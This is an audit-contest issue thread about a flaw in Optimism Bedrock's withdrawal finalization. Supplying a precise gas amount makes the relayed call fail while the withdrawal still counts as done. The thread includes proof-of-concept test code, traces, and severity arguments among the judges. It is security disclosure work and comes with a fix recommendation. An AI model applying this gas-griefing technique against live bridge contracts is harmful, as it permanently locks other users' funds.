-
Notifications
You must be signed in to change notification settings - Fork 0
ShadowForce - Malicious user can finalize other’s withdrawal with precise amount of gas, leading to loss of funds even after the fix #37
Comments
I think this is slightly different, but is basically dup of #40 |
Sponsor comment: |
Recommend: |
Partially following Sponsor advice, I believe the Watson showed the problem although has articulated in a less correct way As such am downgrading to Unique Med |
Escalate for 10 USDC. First of thanks Alex for judging this I think #40 report mathmatically prove that how finalizeWithdraw still can bricked with insufficient gas amount. While this report wrote a POC to show how finalizeWithdrawal can be bricked. I want to escalate for this submission and argue that the severity is high. In fact you can see that the POC and the explanation also conform to another high See our POC running result: Running 2 tests for test/RelayMessagerReentrancy.t..sol:CounterTest
[PASS] testHasEnoughGas() (gas: 130651)
Logs:
bob's balance before
0
gas left after externall call
100196
gas needed after external call
25038
success after finalize withdraw????
true
bob's balance after the function call
1000000000000000000
[PASS] testOutOfGas() (gas: 136001)
Logs:
bob's balance before
0
gas left after externall call
11603
success after finalize withdraw????
false
bob's balance after the function call
0
Test result: ok. 2 passed; 0 failed; finished in 1.58ms as we can see, in the first successful call the gas needed after the external call bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message); is gas needed after external call
25038
success after finalize withdraw????
true while in the second running test case gas left after externall call
11603
success after finalize withdraw????
false As the original report stated:
basically attacker can make the underlying call sliently revert with out of gas error the above is the report of our wording while the report from respected auditor obront and trust put it in their way:
note the remaining gas they dervied is 23,823 gas, ours is appromiately 25000 wei (due to console.log) See the impact of report 93
this is exactly our POC and report shows!
or malicious actor intention use too little gas to permanently lock user fund. and the POC and the report does make sure the function call is the same as the bridge call in canonical version of the bedrock contract. because in the bridge call, L2 is calling init withdraw, then L1 call finalizeWithdraw -> call relayMessager which is exactly the call order in the report / POC bytes memory message = abi.encodeWithSelector(
'0x',
messager,
4,
sender,
target,
1 ether,
minGasLimit
);
bytes memory messageRelayer = abi.encodeWithSelector(
RelayMessagerReentrancy.relayMessage.selector,
4,
sender,
target,
1 ether,
minGasLimit,
message
);
portal.finalizeWithdraw{value: 1 ether, gas: 110000 wei}(minGasLimit, 1 ether, messageRelayer);
console.log("bob's balance after the function call");
console.log(bob.balance); first we can composing the message calldata to call relayMessanger, then construct message calldata to call portal (in L1), the call order is L1 Portal # finalizeWithdraw -> L1 RelayMessenge. I implore the review / judge to git clone the POC repo and run it. https://github.com/Jiaren-tang/poc-for-bedrock-update-contest (I will remove this POC after the escalation has been resolved.) If we run with forge test -vv the output is Running 2 tests for test/Counter.t.sol:CounterTest
[PASS] testHasEnoughGas() (gas: 131483)
Logs:
bob's balance before
0
0x2e1a7d4d
0x00735de6
gas left after externall call
99377
gas needed after external call
25038
success after finalize withdraw????
true
bob's balance after the function call
1000000000000000000
[PASS] testOutOfGas() (gas: 136014)
Logs:
bob's balance before
0
0x2e1a7d4d
0x00735de6
gas left after externall call
10784
success after finalize withdraw????
false
bob's balance after the function call
0
Test result: ok. 2 passed; 0 failed; finished in 1.60ms if we run with forge test -vvvv to show transaction trace, we see there is a out of gas error!!! Running 2 tests for test/Counter.t.sol:CounterTest
[PASS] testHasEnoughGas() (gas: 131483)
Logs:
bob's balance before
0
0x2e1a7d4d
0x00735de6
gas left after externall call
99377
gas needed after external call
25038
success after finalize withdraw????
true
bob's balance after the function call
1000000000000000000
Traces:
[131483] CounterTest::testHasEnoughGas()
├─ [0] console::log(bob's balance before) [staticcall]
│ └─ ← ()
├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [107335] Portal::finalizeWithdraw{value: 1000000000000000000}(30000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000c4307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000)
│ ├─ [0] console::e05f48d1(2e1a7d4d00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ └─ ← ()
│ ├─ [0] console::e05f48d1(00735de600000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ └─ ← ()
│ ├─ [93268] RelayMessagerReentrancy::relayMessage{value: 1000000000000000000}(4, CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x000000000000000000000000000000004963190b, 1000000000000000000, 30000, 0x307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
│ │ ├─ [0] 0x000000000000000000000000000000004963190b::30780000{value: 1000000000000000000}(0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
│ │ │ └─ ← ()
│ │ ├─ [0] console::log(gas left after externall call) [staticcall]
│ │ │ └─ ← ()
│ │ ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000018431) [staticcall]
│ │ │ └─ ← ()
│ │ ├─ emit RelayedMessage(msgHash: 0x312a0f88f8c395812d1b16d7fbd916cc2f0140f71f339559d474344102ae2546)
│ │ ├─ [0] console::log(gas needed after external call) [staticcall]
│ │ │ └─ ← ()
│ │ ├─ [0] console::f5b1bba9(00000000000000000000000000000000000000000000000000000000000061ce) [staticcall]
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ [0] console::log(success after finalize withdraw????) [staticcall]
│ │ └─ ← ()
│ ├─ [0] console::log(true) [staticcall]
│ │ └─ ← ()
│ └─ ← ()
├─ [0] console::log(bob's balance after the function call) [staticcall]
│ └─ ← ()
├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000de0b6b3a7640000) [staticcall]
│ └─ ← ()
└─ ← ()
[PASS] testOutOfGas() (gas: 136014)
Logs:
bob's balance before
0
0x2e1a7d4d
0x00735de6
gas left after externall call
10784
success after finalize withdraw????
false
bob's balance after the function call
0
Traces:
[136014] CounterTest::testOutOfGas()
├─ [0] console::log(bob's balance before) [staticcall]
│ └─ ← ()
├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [111867] Portal::finalizeWithdraw{value: 1000000000000000000}(30000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000c4307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000)
│ ├─ [0] console::e05f48d1(2e1a7d4d00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ └─ ← ()
│ ├─ [0] console::e05f48d1(00735de600000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ └─ ← ()
│ ├─ [90616] RelayMessagerReentrancy::relayMessage{value: 1000000000000000000}(4, CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x000000000000000000000000000000004963190b, 1000000000000000000, 30000, 0x307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
│ │ ├─ [0] 0x000000000000000000000000000000004963190b::30780000{value: 1000000000000000000}(0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
│ │ │ └─ ← ()
│ │ ├─ [0] console::log(gas left after externall call) [staticcall]
│ │ │ └─ ← ()
│ │ ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000002a20) [staticcall]
│ │ │ └─ ← ()
│ │ └─ ← "EvmError: OutOfGas"
│ ├─ [0] console::log(success after finalize withdraw????) [staticcall]
│ │ └─ ← ()
│ ├─ [0] console::log(false) [staticcall]
│ │ └─ ← ()
│ └─ ← ()
├─ [0] console::log(bob's balance after the function call) [staticcall]
│ └─ ← ()
├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
│ └─ ← ()
└─ ← ()
Test result: ok. 2 passed; 0 failed; finished in 1.63ms (The POC code is the same! I just upload it to github so the reivew can easily clone and run) Again in conclusion this report help show what the impact of #93 is saying
and also help show will not account for the cost of CALL and lock user fund as Alex point it! the impact is severe and does result in loss of fund, according to sherlock judge's guideline: this report deserves a high severity rating.
Thanks! |
You've created a valid escalation for 10 USDC! To remove the escalation from consideration: Delete your comment. You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final. |
Escalation accepted Lead Judge comment:
Lead Watson comment:
Additionally, the Sponsor also considers the issue to be a duplicate of #40. |
This issue's escalations have been accepted! Contestants' payouts and scores will be updated according to the changes made on this issue. |
ShadowForce
high
Malicious user can finalize other’s withdrawal with precise amount of gas, leading to loss of funds even after the fix
Summary
Malicious user can finalize other’s withdrawal with precise amount of gas, leading to loss of funds even after the fix
Vulnerability Detail
In the previous contest, we observed an exploit very similar to this one found by zachobront and trust. In this current, contest the team has employed some fixes to try to mitigate the risk outlined by the previous issue.
The way the protocol tried to achieve this was by removing the gas buffer and instead implement this assertion below:
Assertion: gasleft() >= ((_minGas + 200) * 64) / 63
The protocol did this in the
callWithMinGas()
function by implementing the assertion's logic using assembly. we can observe that below.This addition was not sufficient to mitigate the risk. A malicious user can still use a specific amount of gas on
finalizeWithdrawalTransaction
to cause a Loss Of Funds for another user.According the PR comments, the protocol intended to reserve at least 20000 wei gas buffer, but the implementation only reserve 200 wei of gas.
ethereum-optimism/optimism#4954
Impact
Malicious user can finalize another user's withdrawal with a precise amount of gas to ultimately grief the user's withdrawal and lose his funds completely.
Code Snippet
https://github.com/ethereum-optimism/optimism/blob/4ea4202510b6247c36aedda4acc2057826df784e/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L388-L413
https://github.com/ethereum-optimism/optimism/blob/4ea4202510b6247c36aedda4acc2057826df784e/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L291-L384
Proof Of Concept
below is a foundry test that demonstrates how a malicious user can still specify a gas that can pass checks but also reverts which will cause a user's funds to be stuck
when running the test the outcome is as follows
As you can see in the first test, when supplying enough gas for the external call, the test passes and bobs balance is changed to reflect the withdraw.
On the contrary, the second test which does not have sufficient gas for the external call. The test passes but bob's balance is never updated. This clearly shows that bob's funds are lost.
some things to note from the test:
In RelayMessenge, is less than 25,000 wei in order to grief another user's withdrawal causing his funds to be permanently lost
the 25000 wei gas is the approximate amount of gas needed to complete the code execution clean up in
RelayMessenge
function call. (we use the word approximate because console.log also consumes some gas)below are the imports used to help us run this test.
RelayMessagerReentrancy.sol
portal.sol
Below is a link to download a file containing the test and all associated files which you can use to replicate the test we have conducted above:
https://drive.google.com/file/d/1Zpc7ue0LwWatOWjFH30r8RCtbY4nej2w/view?usp=share_link
Tool used
Manual Review
Recommendation
we recommend to add gas buffer back, change at least gas buffer from 200 to 20K or even higher gas buffer.
Duplicate of #40
The text was updated successfully, but these errors were encountered: